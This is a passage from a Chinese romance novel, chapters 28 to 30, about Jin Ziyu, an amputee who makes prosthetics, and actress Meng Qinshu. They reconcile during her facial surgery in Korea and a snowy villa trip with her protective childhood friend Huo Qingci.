他识字不多,但墙上贴的矫形器具、假肢,这几个字他还是认识的,这位老板是想做他生意,是现在生意不好做吗?连他这种人都不放过。
“我没钱。”
靳子煜忙接道,“我免费给你做。”
口气认真坚决。
小丽和那位小伙两人的黑瞳一起闪过一道光,不是惊讶他们这位老板说得这句话,是惊讶他又要做好人好事。
他们这位老板做好人好事不是头一回,之前小视频上看到一个父母双亡的九岁肢体残疾女孩,他不但驱车近十个小时亲自上门送温暖,还承诺负责她后期假肢直到成年。
年初那个是个男大学生,老板是在逛超市时看他在兼职,职业习惯他观察这位大学生的步态有很大问题,跟这位男大学生聊了聊,当场拍板让他来公司给他开模定制,一只左小腿仿生肢,不需要一分钱免费送给他。
诸如此类,还有不少。
*
顾远敲了敲玻璃门走进来。
“子煜,那个外卖员留了个号码走了。”顾远没去沙发而是直接坐办公桌边沿,面朝转椅上的靳子煜。
靳子煜放下手里的鼠标,对他说,“老规矩,按公司正常流程走。”
靳子煜这些年做的这些好人好事,产生的费用都会从他年底的分红里扣除,他这个人固执的时候很固执,顾远之前让他不要算的这么清楚,他不同意,说服不了他,只能按他说得做。
手机震动的同时亮了一下屏幕,是靳子煜的手机。
靳子煜拿起来。
眉心一跳。
MQS【子煜回到海城了吗?】
靳子煜是一点到的机场,一点四十到的公司,他顺带看了眼手机左上角的时间,现在已经二点半,靳子煜忘了给孟秦书发报平安的信息。
很多年前他不管是去海城上学,亦或是送孟秦书回T大,他再回去之后,一定第一时间向孟秦书报平安。
昨天他和孟秦书复
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合了,至今仍像一场梦,他还没从梦中醒来,忘记了最重要的事情。
靳子煜编辑文字发过去。
淡述【已到,勿念。】
顾远和靳子煜离得近,他敏然观察出靳子煜回信息时大有眉飞色舞的神态,眉宇间还有股春意盎然之色。
这种情况,往往是……恋爱了。
顾远直言直语地调侃,“被你妈逼去相亲看对眼了?”
靳子煜立时端出一张严肃脸,加以否认,“胡说什么。”
顾远斜看靳子煜的脸,就看他装吧。
别人不知道他,他认识靳子煜近十年还能看不穿他。
无论过去多少年靳子煜都是一个没什么城府的人,可以说一眼能望到底的人。
这样的靳子煜让顾远想到很多年前,天天围着孟秦书转的靳子煜。
思及此,顾远脑子里冒出一个大胆看似不那么现实的想法,他这个人有什么话半点藏不住,“你不会是和孟秦书和好了吧!”
不是问句而是惊叹句。
靳子煜不出声在顾远看来是默认了,顾远想起七年前孟秦书在靳子煜病床上照顾他的场景。
那时候孟秦书为靳子煜做的可不只是端水喂饭,刚手术完的靳子煜平躺在床上一点动不了,孟秦书又是给他按摩双腿,又是给他换尿袋,她可是T大,人人都认为高不可攀的高岭之花,却为靳子煜坐到这份上,完全是把靳子煜当成丈夫来照顾。
记得手术完第一天,孟秦书给靳子煜换尿袋时,靳子煜体能还没完全恢复,用微弱的声音,一个劲的哀求她,“小书,让我妈来,你不要动,不要动。”
当时靳子煜的脸红的像熟透的番茄,而他亦是震惊到说不出话来。
但过了两天他再去看靳子煜,孟秦书再给他做这些事时他不在求她不要做这些,而是面露笑意的注视她做完,然后对她说一声谢谢。
那个傍晚孟秦书回去租的房子给靳子煜拿衣服,阿姨在病房里说,“小书是个好姑娘,子煜以后一定要好好对她。”
谁能想到后来还是分手了,有关于他们分手的缘由、细则,靳子煜一概没向任何人透露,如果不是他太过颓丧,被她母亲看出来,追问下知道两人分手了,他是打死也不会说的。
而且这么多年,他从未听过靳子煜有说过孟秦书任何一句不是。
但在T大有关孟秦书的传言并不好,起源于她发的一条《我甩了靳子煜》的帖子,那些人一致认为孟秦书是始乱终弃、玩弄人心的恶女。
当时靳子煜都在海城读研了,谁能想得到孟秦书会在某个深夜发出这条帖子,像喝醉酒的胡言乱语。
再到后来演变成,姐虽不在江湖,但江湖仍有我的传说。
靳子煜伸手抽出被顾远坐在屁股下的产品说明书,顾远思绪被外界干预扯回来。
顾远对他们相逢这事很是感兴趣,“子煜你和南寒大明星是怎么联系上的?”
靳子煜吐出两个字,“校庆。”
校庆那是九月份,原来他们联系三个多月了。
两人是有深厚的感情在的,和好也是情理之中。
28. 一起住
孟秦书的手术于十二月二十五日进行,当天靳子煜和霍清辞说好了一样同一时间到她病床前。
还有一个小时孟秦书会被推进手术室,从小到医院都很少进的她,这会儿不可避免地有些局促不安。
霍清辞看孟秦书目光一直流连在靳子煜脸上,似有很多话要对靳子煜说,霍清辞识趣地退到病房外。
霍清辞在通道里一圈巡视,没找到立式烟柱,他走了不少路,总算在一处偏僻的电梯间找到立式吸烟柱,他从口袋里拿出烟和一只金属打火机。
取出一根烟,霍清辞浅咬在一侧嘴角,另只手虚挡住打火机,避免半开那扇窗子外面吹进来的风,会吹灭火焰,“咔哒”烟头被点燃。
放下这只手,霍清辞正对着窗,淡薄的唇紧闭着,青烟自他鼻尖弥散出去,烟雾很快被风打散。
病房里,靳子煜侧坐在床边,孟秦书依偎在他肩头,手指不老实地描绘他的侧脸轮廓。
靳子煜手掌一把包住她的这根手指,不让她在乱动弹。
孟秦书被靳子煜这一本正经地样子逗笑,她只是三天二夜没见他有些想他而已,听见她的轻笑声,靳子煜偏过脸来看她。
由于要进手术间,孟秦书穿的是一身粉红白条病号服,头发悉数扎在脑后,灯光下黑发泛着光泽,散着淡淡的香气,似一到金秋十月整座城市都会铺满的桂花香,只是她的更清淡更好闻。
孟秦书是大气的鹅蛋脸,她的眼睛特别漂亮,介于杏眼和狐狸眼之间,黑眼珠很多,眼尾自然上翘,跟画了眼线一样,一笑时,仿佛带了钩子。
孟秦书收住笑,倾之启口,“子煜,就在二十分钟前,如果你没来,我不做手术了,我去国内找你。”
唇色浅淡。
分明还没做手术,但靳子煜从她脸上竟看到一丝病气,是不是人只要进了医院就会如此,让人.....心疼。
放开她的手指,靳子煜用这只手摸到了孟秦书没受伤右脸颊,孟秦书心脏不由地漏了一拍,眼一眨,她下意识地抬头,两人视线咫尺相碰。
近到眼里只容得下彼此。
粗粝感,来自靳子煜这只手,脸部麻麻的仿佛低压电流在肤底流窜。
是很多年前的感觉,是她偶尔午夜梦回,让她清醒且疼痛的触觉。
下一秒,孟秦书勾住他的后脖,而他一口轻咬住她的双唇,她禁不住抖了下身子,没想到多年后他们还能目交心通。
孟秦书悄悄掀起一点眼皮,瞄了一眼关着的病房门。
是的,她是清醒的做坏事。
*
一个礼拜后,孟秦书提前一天入院,到医院拆线。
脸上面还留有淡红色的疤痕,医生说再过半个月还需进行第二次手术。
这期间,靳子煜一直陪在她身边,霍清辞在她手术完当天就回了国内。
一月三号霍清辞再次到韩国,说是带他们去攀岩,与其说是带他们,不如说带孟秦书,是孟秦书要求的,她天天不是被关医院就是被关酒店,她要憋疯了。
还有一人也跟来了,是霍清辞的发小姚宇,孟秦书自小跟着霍清辞,姚宇又是霍清辞发小,三人可以说是一起长大的。
姚宇比霍清辞还能插科打诨,他一看到她第一句话是,“小书妹妹,原来多沉鱼落雁的一张脸,现在怎么毁成这样,看来以后没人要了。”
往伤疤上撒辣椒没谁了。
孟秦书松开握着靳子煜的手,朝姚宇的裆部飞起一脚,他眼明手快地躲开。
“姚宇你多大人了,孩子都两岁了,一点正形都没有,小书男朋友在,说话注意点。”姚宇身旁的霍清辞冷冷发话。
靳子煜很早以前见过这位姚宇,知道他们三个关系好,他作为外人不插话是礼貌。
说他没正形,姚宇觑霍清辞一眼,“别在我面前装什么正经,那个小明星怎么回事?”
霍清辞先看孟秦书,确认她没有听进去,立即斜姚宇一眼,“你给我闭嘴。”
姚宇的确一时口快,更何况病房里还有外人,他转而把视线转投到进门就已经注意到的孟秦书男朋友身上。
这位男朋友很有礼貌地和他弯了弯唇。
竟,还是以前那个,不过......变化挺大。
姚宇不像霍清辞一样和孟秦书经常接触,长大后来往不慎密切,但也不是说忘却了儿时的友谊,她这位男朋友他见过两次,初次是在酒店里,第二次是在霍清辞的婚宴上。
那天,酒店回来他就问霍清辞,“小书怎么找了这么一个男朋友?”
他当时的想的是,小书是小妹妹,而作为和小书接触最多的霍清辞,更应该在小书找男朋友时为她把个关,怎么会找了这么一个.....
霍清辞却说了一句:“男孩子挺好的,是个人才。”
一个愿意,一个又这么说,那他还能说什么。
*
地点位于两百多公里外的私人度假区。
近三个小时的路程,霍清辞和姚宇换着开这辆商务车。
到达目的地,还没从车里出来已经闻到了泥土、树木、花草交杂的清新气味。
孟秦书推开车门,映入眼帘的除了被白雪覆盖的连绵起伏的高山,还有眼前这一栋三层高的乡间别墅以及别墅后一片被冰封的湖泊。
车上姚宇说,整个度假区乡间别墅一共有十二栋,隐藏在深山密林中,谁也发现不了谁,适合幽会。
也不用担心用餐问题,房子里有菜单,除了本国菜还有中西餐,只要一个电话,会有专人送上门。
地上是蓬松的没过脚踝的积雪,四人踩着积雪,向着别墅走去,走过的地方留下一长串错综复杂的黑脚印。
“明天是晴天,我们明天再去攀岩。”已走至木台阶中段的霍清辞说。
孟秦书搀着靳子煜一步一步跟上他们,木质台阶比上次酒店的瓷砖台阶好走,有摩擦力不易打滑,两人很快到了平台上。
姚宇拿出手机,随便拍了一张风景照,发给他那位对他管头管脚的太太。
别墅里早早为他们打好了空调,拉开大门,一股热浪扑面而来,倒也不是里面温度过高,而是因为外面实在太冷,四人在门口脱衣服、换鞋子,适应了屋里的温度,到也觉得体感适宜。
换好拖鞋,霍清辞走到通往二、三楼的木质楼梯下,抬头往上看,“小书,你和靳子煜是住一间,还是分开住?”
孟秦书和靳子煜互看一眼。
“一起住。”
“分开住。”
异口同声,这次一点默契都没有。
孟秦书脸上绯红立现,因为说“一起住”的是她。
姚宇在窗边拉了拉窗帘,呵呵一声,孟秦书不知道他笑什么,扭头看过去。
姚宇放下拉窗帘的手,要笑不笑地,“小书,毁容不是什么大事,不用这么着急,改天
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哥哥给你物色一个,比你身边这位好。”
孟秦书狠瞪了姚宇一眼,本来已经放开靳子煜手的她,重新握住他,她抬点下巴,恰遇上靳子煜落下来的目光,他冲她抿出一道极浅的弧。
霍清辞回看兴致还很高的姚宇,出声打断姚宇越说越离谱的话,“姚宇,我们去三楼选房间。”
姚宇被霍清辞喊走后,偌大的一楼只剩下孟秦书和靳子煜。
干净洁白的瓷砖地面上倒影出两人缩小的身影。
孟秦书放开靳子煜的手,走去打开一楼所有房间门,挨个看了一遍,除去开放式厨房、杂物房、卫生间、还有两间敞亮的卧室。
“子煜,你过来。”孟秦书站房门口,叫靳子煜。
靳子煜拄着手杖走过来,空荡荡的一楼,只有靳子煜的脚步声和一下接一下的手杖敲在地面上的声音。
孟秦书拽了拽靳子煜手臂上毛衣一角,已给他安排好,“你住这间。”
“你住哪里?”靳子煜眉目笑意渐深,因为想起了孟秦书刚才那句“一起住。”
“我住二楼。”
相隔十万八千里他总能放心了吧。
在靳子煜心里,自己好像每天都在琢磨着怎么把他吃掉。
孟秦书暗自腹诽。
这八天,加上来拆线住的一晚上,有四天她是在医院里住的,靳子煜就睡旁边的大沙发,因为是在外面,晚上护士会来查房,靳子煜不愿意脱掉假肢,被子都是从头包到脚。
出院回到酒店,白天靳子煜会来她的房间陪她聊聊天、看看电视,晚上他会自觉地回自己的房间。
突然间,靳子煜反手握住她的手腕,扭头凝着她,而后只听他说:“小书,进去看看我们的房间。”
微怔中的孟秦书,双脚以配合着靳子煜拉拽的方向,跟住他进了房间。
靳子煜顺手推上门,扭上小锁,按亮墙上的灯。
一面墙的飘窗,敞开的窗帘,看出去是灰蒙蒙的天,弯弯曲曲的枯树枝和雪后叠嶂连绵的大山,一眼望不尽。
考虑到能让旅客纵览窗外美景,飘窗下的墙面做的很低,孟秦书上身抵着玻璃窗,大腿贴住飘窗凸出的那截窗沿。。
两人从门口到窗子这段路,是靳子煜走向她,孟秦书半推半就退到这里的。
现在,无路可退了。
两人脚尖抵着脚尖,靳子煜口干舌燥滑了滑喉结,轻声问:“小书,你想好了吗?”
孟秦书直起腰肢,她无需抬脚就能轻松挂住靳子煜的脖子,徐徐抬眸,仰视他。
瞳眸漆黑,可他的眼底不在只有温和分明还有暗流涌动的占有欲。
是不是姚宇的话刺激了他。
靳子煜的手爬上她不足一握的细腰上,另只手也攀了上来,掌心捧着她的后脑勺。
浅浅淡淡的果木香,吸入她的鼻尖,不知是窗外飘进来的,还是靳子煜换了沐浴露。
孟秦书的两颊像突然烧起一把火,灼烫到心跳紊乱、喘息不顺,好像她总是引火自焚。
但她乐在其中。
孟秦书用宣誓地口吻念道:“我想和靳子煜白头偕老。”
眼前彻底暗了,一个深深的吻落下来。
墙上待机的电视机,红色待机灯一跳一跳,隔断房间和洗浴间的玻璃墙上出现影影绰绰的两条交缠中的人影,米黄色长毛地毯上一根黑色手杖孤零零地躺在那里。
……
29. 她很爱他
三楼有四间房,四个房间都朝南且是个共用一个阳台。
阳台上有玻璃雨棚,外面即使已停雪几个小时,但雨棚上还堆了一层厚厚的积雪,遮住了一半光源,站底下略昏暗。
抽完最后一口烟,姚宇将剩余的烟头摁灭在圆桌上的烟灰缸里,他长嘶一声,瑟缩地抖了抖身体。
鬼天气,真TM冷。
要风度不要温度的两人只穿了毛衣,姚宇前面那位,一手夹烟,一手扶在玻璃护栏上,正在眺望远处倒是淡定。
霍清辞看到某座山头燃起的炊烟。
还有一个小时,可以吃晚饭了。
“靳……靳什么来着。”姚宇又忘记了那个男人的名字。
霍清辞重复第二遍,“靳子煜。”
“你们不让说那件事,是怕靳子煜嫌弃?”
霍清辞转过身来,转身的那一下,香烟上堆积起的烟灰,抖落到瓷砖地面上,那只剩一个指甲盖长度的烟头,火星忽明忽暗。
“小书的意思。”霍清辞说。
姚宇觉得这两人真够有意思的,当年孟秦书喜欢一个残疾人,霍清辞作为和小书一起长大的哥哥,即使是朋友都应该给小书分析利弊,而他非但没阻止还鼓励她。
现在这两人又一拍即合地不让提当年的事情,霍清辞这个人一向行事果决,唯独对小书可以说做到了百依百顺。
甚至可以说是无底线的维护、纵容。
早在很多年前,有一次霍清辞在他面前说起,他说,如果当年他没出尔反尔去国外好几年,小书不会变成这样,是自己欠她的。
曾经姚宇问过霍清辞一句话,“你打算护着这个妹妹到什么时候?”
霍清辞只说简单三个字,“护到底。”
姚家和霍家来往密切,是因爷爷辈早年的战友情,姚宇和霍清辞自幼玩到大,在他们十岁的时候,霍家来了一个六岁的小妹妹,小妹妹长得和洋娃娃似的,特别水灵,看着就讨人喜欢。
小妹妹是霍叔手底下秘书的女儿,名字叫孟秦书,有长达一两年,这位秘书经常早上孟秦书送来,晚上接回去。
那时候他们都不懂,只当是多了一个小朋友。而且孟秦书来的那一年,霍清辞正因身体原因在家休学,也算是给他找了点事情做。
孟秦书别看脸长得讨喜,其实性格不怎么好,孤僻、冷漠,不喜与人结交,初来时还有些畏畏怯怯,但正是这种怯生生,让还只有十来岁的男孩生出了保护欲。
姚宇有段时间不那么喜欢这个丫头,只因为孟秦书对他的示好总是置之不理,但她和霍清辞之间似乎有磁场,霍清辞喜欢逗她玩,去哪里都带着她,孟秦书就跟霍清辞的小尾巴一样,霍清辞走到哪里她跟到哪里。
日久天长的接触中,姚宇发现孟秦书还是有可爱的一面的,孟秦书每次跟他们出去,不管是户内还是户外,她都会背一个双肩包,里面有饮料、面包,饼干,她自己不吃这些,是按照他们喜好给准备的。
孟秦书知道霍清辞有低血糖,包里总有糖果,知道他只喝指定品牌的功能饮料也会为他准备。
原来这丫头不止是需要别人照顾,她还会照顾人。
九年间,姚宇见证孟秦书的变化,不但笑容多了,偶尔还会娇嗔搞怪一下。
用霍清辞的话来说,孟秦书不过是个缺爱、敏感的女孩,你对她好,她也能感应到。
在之后就是霍清辞出国,头一年,姚宇还时不时邀请孟秦书一块出来玩,也提过带她去国外去找霍清辞,但孟秦书回的信息,要么是“不去”,要么是“我要写作业”,霍清辞一走,她又变回了那个独来独往,不与人交善的怪脾气女孩。
霍清辞总说欠她,便是欠在这里吧。
再后来霍清辞回国读研,五年不见,这个从前一直追着他,哥哥,哥哥叫的女孩,改为直呼其姓名。
姚宇有时候真的觉得这两人挺搞笑,他真的从没看到过霍清辞对哪个女人有这种耐心,上赶着照顾她、维护她,换来的却是孟秦书一次次冷脸相向。
直到出了那档子事。
在此之后,孟秦书倒是对着霍清辞一口一个哥叫的勤,也算不枉费霍清辞掏心掏肺的对她。
冻得快受不了了,姚宇握住与冰块无异的门把手,“你们随意。”
*
晚上这顿饭吃的是中餐。
餐厅里,长方形餐桌摆了六菜一汤,主位没人坐,霍清辞和姚宇面对面,孟秦书则是跟靳子煜面对面。
用餐中途。
“靳……靳子煜,听说你在海城大学教书?教几年了?”姚宇侧目去看靳子煜,刚好看到孟秦书给靳子煜米饭上添了一块红烧肉。
霍清辞把孟秦书照顾的妥妥帖帖,孟秦书又对她这位男朋友体贴备至,他身边都是什么人,怎么一个个的都喜欢干伺候人的活。
靳子煜把筷子放在筷架上,迎上斜对面姚宇的目光,认真答复,“是的,有三四年。”
姚宇问,“大学老师,一年收入大概多少?”
孟秦书张口要替靳子煜怼回去,被霍清辞抢先。
“闭上你的嘴。”
靳子煜眼眸浅弯了下,答:“年收入五六十万不等,另外有项目费,科研费,但未必经常有,大概七八十万。”
姚宇没想到靳子煜还挺坦诚,这么一来反而让他一时不知如何接下去。
霍清辞夹了一只大鸡腿,倾身向前放入姚宇饭碗里,顺便斜觑他一眼,“靳子煜靠的是自己,我们这些自幼受家族庇荫的就不要在这里秀优越了,吃你的。”
姚宇怎么不知道孟秦书的眼神也是要‘杀’他,敢情这一桌他是三人的公敌,姚宇后悔被霍清辞骗来韩国,美名其曰带他散散心,实际来当免费司机,当陪练来的,现在好了,说句话都成全民公敌。
*
“那年我姐把你带去清辞哥婚宴后,五一回家,爸妈轮番说服不了她,就让她跪在书房里反省,跪到她知道错为止。”
靳子煜在黑暗中睁开眼,旁边是孟秦书清浅平稳的呼吸音。
“我姐跪了一晚上,我第二天路过书房门口,听见爸爸问她,分不分手,不分手继续跪着,我姐只说两个字,不分,一直到中午我姐晕倒了,爸妈才给她吃饭喝水。”
适应了黑暗,靳子煜向左边转动身体,他把动作放得很轻很轻,就是怕吵醒孟秦书。
这些天一静下来他就会回想起孟媛那天对他说得话。
孟媛口中的这件事,孟秦书从未跟他透露过只言片语,最后那年他在海城读研,他们见的次数不多,但每次见面她都表现的很开心。
即使后来寒假那段日子,她到医院来照顾他,家里对她的压迫,她所得到压力,半分都没露出来,小书竟然为了他对抗父母,做到这个份上。
“之后又发生了好些事,目的都只为逼她分手去跟他们安排的男人相亲,正是这些事,她才再也不想要这个家。”
而他有很长一段时间,还曾因被舍弃而怪过她,甚至误会她,是因为厌恶他这具身体而选择逃离。
靳子煜喉头哽得难受,他
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双手撑床坐起来,想去卫生间平复心情,然而,他起身这一下,还是搅扰到了睡梦中的孟秦书。
孟秦书朝他这儿翻身,手臂挥过来是想放在他胸膛上,却挂在了他腹部,许是感觉不对,孟秦书“嗯”一声梦呓,在黑暗里睁开眼睛。
一弯醒月,挂于天空,冬天的月皎洁的不带一丝杂质,雪光与月光相互辉映,天地间一片银白。
借着倾泻进来的银白,靳子煜看到孟秦书眼眸明亮,恍若进了月芒,感应到他在盯着她,她视线上撩,与他四目相对,她得眼神逐步放软,唇畔笑意漾开。
“子煜,怎么了?”
温软入骨。
靳子煜眼眶里烫得不行,他不想在孟秦书面前失态,别开眼睛,看卫生间方向,“我去下卫生间。”
“哦”了声,孟秦书把手收回来,靳子煜把腿移到床下,拖鞋都没想着穿,站起来就走,可他忘记他已经脱了假肢,脑子里发出指示往前走,没带动左右腿,而是先动了上半身,结果——
他正面朝下,扑倒在地毯上,亏得双手有撑在地上,否则脸朝地更惨。
一声闷闷地痛哼。
孟秦书赶忙跳下床,光脚绕过半张床到靳子煜身边,蹲在他身侧,她紧张的嗓子打颤抖,“子煜……”
靳子煜灵巧翻身面向她,“小书我没事,是我睡糊涂了,忘了自己没穿假肢。”
靳子煜语气轻松甚至夹带了一丝俳谐,他这次真没觉得自己很难堪。
因为……
他比这更丑的样子孟秦书都见过,但她从没嫌弃过他,她仍然爱他。
靳子煜手掌撑地坐起来,他穿的是和酒店款式一样的睡袍,Y型领,腰上绑了一根腰带,裸露在衣摆下的左小腿伸的笔直,朝向对面电视墙,缺失的右腿让下半截睡袍平铺在地毯上,只有大腿根处是鼓囊的。
孟秦书想起去开灯,她走到床头柜前,按下墙上一排灯的开关。
房内瞬时亮如白昼,靳子煜撑着床沿站起来,灯光亮起他和孟秦书一样不适地闭上眼睛,隔了几秒,再缓慢睁开眼。
靳子煜不打算去卫生间了,而是就着床沿坐下来。
“子煜,怎么了?”孟秦书以为靳子煜坐下是腿疼,担心到拧起眉头。
靳子煜向床头柜前的孟秦书伸手,她会马上把自己右手递过去,他隔着衣料握住她的手腕。
被靳子煜拉过来的孟秦书坐到他旁边,靳子煜侧过来,让自己能看到孟秦书整张脸,但从他这个角度看到更多的是她的右半张脸。
颧骨那里近五公分的伤,现已淡化成粉色,疤痕是平整的,不再像她受伤初期时那么触目惊心,教人心痛。
靳子煜不自主地抬手,食指指腹放在她的伤痕上,不敢用力,“小书,还疼吗?”
孟秦书摇摇头,笑着对他说,“靳子煜你顾左右而言他,我问你的问题你还没回答。”
眼尾泛红。
一定有什么。
“我只是想到了很多关于我们以前的事,有所感怀。”
靳子煜的话带红了孟秦书的眼眶,也让她的心沉了沉。
原先摸她伤痕的手指转移到她眼角,指腹温柔地蹭去那里起的泪。
孟秦书随之抬起双手,裹住靳子煜这只手,她依然是带笑说得,眼瞳里闪着星星点点的碎光,“子煜我们说好的重新开始。”
过去她有太多不好,她想靳子煜忘记。
孟秦书不想再提过往,靳子煜明白,他靠过去,把她拥入怀里,极尽温柔地说,“好。”
30. 温柔
户外攀爬墙高度有十米,斜度在五度,攀登三人组,在工作人员的帮助下穿好攀岩装备,靳子煜在五米外的露营大伞下,拿起手机给是三人拍了一张背影照,手机摄像头转移到孟秦书身上,在她回头看他时,他抓住时机又拍了一张。
为了运动方便,孟秦书不再是披肩发,而是扎起一个高马尾,她每次扎高马尾,额前的头发都会一缕不落的往头顶扎,露出光洁饱满的额头,尽管以过去七年,满满的青春活力,与当年那个小姑娘几乎无异。
靳子煜是在和孟秦书交往的第二年,发现她还是个运动健将,她会打篮球且打得还很好,但她不喜欢在人前展示,所以只有篮球场上只有他们两人时,她才会和他比拼一场。
比赛开场前,孟秦书会拔掉手腕上的黑色皮筋把头发尽数扎起,一旦动起来,大马尾在她后脑勺一甩一甩,张扬明媚的她和平时截然不同。
因经常关注微博,他知道孟秦书会骑射不需要替身,有一部旅游宣传片,孟秦书穿着暗红色藏族服饰,坐在奔跑的马匹上,领着后面一群骁勇男人,孟秦书拉弓射箭那一下,恍若天生的飒爽英姿的草原儿女。
正如眼前利落攀爬,完全不输旁边两位男人的她。
这是他从前不知道的。
她的才艺仿佛是一只百宝箱,箱子盖只留一条缝,手伸进去,拿到什么就是什么,但回回都有惊喜。
手机震动后闪了一下屏,靳子煜拿起桌上他自己的手机,天寒地冻,手指僵硬地滑不动屏幕,划拉几次才进入聊天界面,是他的同事,又提醒了他一遍,明天下午有个报告会,有几名大佬会来旁听。
靳子煜已经买好了明早九点飞海城的机票,二个半小时的飞行时长,到达海城留出的时间还很充裕。
他这次回去,可能需要十天半个月才能再过来,让他不由得想起当年,他第一次手术完,孟秦书陪他的那些日子。
那时刚好遇到寒假,她有很长一段时间,白天黑夜的陪着他,他是手术一周后能下地的,但不能久站,多数时间不是在床上躺着,就是坐在轮椅上。
有时候他们会去住院楼楼下的长廊坐着,看看花草树木,数数来来往往的人头,只要在医院,即使是在外面空气中都弥漫着药物、清洁剂的味道。
他都厌烦的环境,但孟秦书陪了他一天又一天。
直到快过年前三天,孟秦书背着双肩包和他挥手告别,习惯了她的陪伴,她拐出病房,身影消失不见那刹,他眼睛酸胀到一遍遍眨眼睛才能缓解,心里有种说不出的滋味。
人一旦生病,力不从心会让人难以管控住情绪波动,变得特别依赖身边人,他理解这种感觉,所以他会尽快会来的。
恍惚间,旁边座椅被拉动,椅子脚摩擦地面的响动,回过神来,靳子煜循声而去,有些怔愣地看着方落座的霍清辞。
霍清辞敏觉地发现靳子煜的目光,歪头与他对视,轻挑眉毛,勾唇冲他笑了一下。
随后他拿起桌上的保温杯,转动杯盖。
靳子煜下意识地往攀岩墙那儿掠了一眼,孟秦书和姚宇已攀到顶峰,霍清辞这是已经一个来回提前结束?
霍清辞身材高大挺拔,肩膀宽阔而坚实,一看就是那种体育项目非常出色的人。
拿来挂在椅被上的黑白花纹登山羽绒服,霍清辞穿到身上,寒风瑟瑟,运动后出了身汗,不做保暖措施很容易感冒,他拉上拉链,拉到脖子下方。
“靳子煜。”
靳子煜视线自霍清辞身上划过去后一直望着不远处半山腰上一个小茅屋愣神。
霍清辞地声音把靳子煜思绪召回来。
今天他动不动就走神。
霍清辞仍是歪头看向他的姿势,他问:“靳子煜还记得当年在病房,我和你说过的话吗?”
那个日暮西垂的傍晚,暗黄的太阳光爬进病房,半面墙被染色。
霍清辞进门前还敲了敲门,两人间的病房,靳子煜不知道是自己家的亲戚还是隔壁床的。
只是这会儿隔壁床的病人下楼散步去了。
靳子煜在海城入的院开的刀,海城到T市四五个小时路程,但这几天,他的亲戚有陆陆续续来看他。
靳子煜撑坐起,盯着被那堵墙遮住的房门看。
脚步声渐近,当霍清辞出现在他眼前时,靳子煜挺讶异的。
靳子煜以为他是来找孟秦书的,说了句,她去楼下买客饭,霍清辞笑笑说,我就是来找你的。
“你的病历我抽调出来发到国外找专家看过,病情不算严重,这次给你诊治的主任医师也是这方面的权威,完全有这个能力做好这台手术,靳子煜不用担心,会好的。”
靳子煜没想到他和霍清辞交情不深,他会为他的事情去操心,后来才明白过来,他是关心小书这个妹妹顺带关心他。
后面他们就着身体、学业方面闲谈了几句。
但都不是,是霍清辞临走前,说得那句话。
“靳子煜,我起初和旁人一样,看不上你,但小书和你在一起很快乐,你好好对她,孟叔那儿,迟早会同意的。”霍清辞把当天的话向靳子煜复述了一遍。
“记得。”靳子煜微微拔高嗓音,“霍清辞,小书有你这样的哥哥,我为她感到高兴。”
得到靳子煜的高度赞赏,霍清辞欣然接受,默了默,转而又一脸严肃状,“靳子煜你和小书能复合我也为你们高兴,但我这个人护短,我希望你别欺负她。”
虽说靳子煜欺负孟秦书的几率为零,但没办法,谁叫他护短呢。
*
孟秦书回来时,靳子煜和霍清辞都在刷手机,孟秦书来到靳子煜背后,发现他在看她出演的那版《射雕英雄传》。
那可是她的黑历史啊,孟秦书急忙把他的双眼给遮起来。
孟秦书知道自己演的不好,网友评论不假。
“靳子煜,不许看。”孟秦苏命令他。
净白的手背上盖上靳子煜的一双大手,他包住只有他一半大小的手,“正是精彩的地方。”
靳子煜轻轻地把孟秦书的手拿下来。
“你都看一百遍了,剧情都能倒背如流了,不许在看了。”
两人在打情骂俏,霍清辞起身打算去另一边避避,刚好姚宇往这儿走来,霍清辞拿起姚宇那张椅背上的羽绒服,抛给姚宇,羽绒服在半空中,呈抛物线状往下落,眼疾手快的姚宇接住衣服,两人一前一后去往别处。
回到别墅,天色已深,但实际上才六点钟。
冬季昼短夜长,加上又是在山里,不像霓虹璀璨的大都市,天穹暗下来时仿佛拉起一块黑色幕布,须臾间就黑了。
晚上这餐,霍清辞没下来吃,中午这顿饭让他吃的胃里不舒服,他早早就去楼上睡觉了。
孟秦书吃好饭上楼去看他,霍清辞没睡觉而是在书桌前,用带来的笔记本电脑处理公事,她的到来,让霍清辞放下手头的工作,坐到她旁边那张单人沙发上。
孟秦书看向霍清辞侧脸,男人五官硬朗,透着棱角分明的冷峻,看似有心事,目色沉沉。
霍清辞只要不说话或认真做事时,威压一下就上来了,他们这帮公子哥,似乎性格相差无几,平时吊儿郎当,严肃时一个眼神都叫人心惊胆战,要不然……怎么能玩到一块。
“刚在楼下,宇哥给我看他家女儿的照片,小姑娘真漂亮,粉嘟嘟的和电视广告里的混血宝宝一样。”孟秦书难得有心情闲聊起来,“你知道吗?宇哥那副不着调的样子,但是一谈到女儿,一脸的慈爱,和平时完全判若两人。”
两年前小姑娘还是襁褓中的婴儿时孟秦书见过,软萌萌的跟团小奶油似的,长开后愈发好看。
说到这,孟秦书不禁产生好奇,“哥,你和嫂子计划什么时候生?我还挺想看看你的孩子会长什么样。”
想必颜值一定很高。
霍清辞扭过身来,一只手抬起放在沙发扶手上,“小书,将来你和靳子煜的孩子出生,我给他们当干爹怎么样?。”
说得是他,怎么还扯到自己身上。
还有他们是几个意思。
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孟秦书心一跳,脸庞发热,微微低下头去。
看她一脸羞赧,霍清辞喉咙里溢出一声很轻的笑,收起话头,“好了,不逗你了,我准备睡了,你也早点睡。”
短短几分钟,霍清辞就下了逐客令。
孟秦书还是第一次在霍清辞这儿受到这种对待,但霍清辞又是笑着说得,语气也状似寻常,不然她还以为他对她有意见呢。
也许真的困了吧。
回到房间,孟秦书听到浴室有流水声,她握住把手轻轻往里推,推到门敞开一半。
卫生间空间不比外面的房间小,是干湿分离的,外间是洗手台,里间有大浴缸还有淋浴间。
地上靳子煜自己铺了浴巾是为了防止滑倒,磨砂玻璃上出现靳子煜站在那里的边界模糊的身影。
流水哗啦啦的声音盖过了低微的关门声,靳子煜没发现孟秦书回来。
贵妃椅旁有一盏立式台灯,微黄的光洒自孟秦书头顶洒下,让她的五官格外温柔,她抱着手机靠在上面,默读芳姐给发来的电子剧本。
只是看得太过入神,连靳子煜到她身边都不知道。
“小书,你去洗吧。”
孟秦书放下手机,由躺转为坐姿,仰起脸看向他,靳子煜右手虚虚搭在贵妃椅靠背上,沉静的脸上沐着对面台灯橘色灯光,眉目柔和的似阳春三月刚泛出暖意的春水,深邃的瞳底似能将人吸纳进去,他微微扬起唇角,轻唤她。
“小书……”
蛊人得不像话。
只觉耳廓滚烫,孟秦书利索地爬下贵妃椅,她需去洗个热水澡,清醒一下。
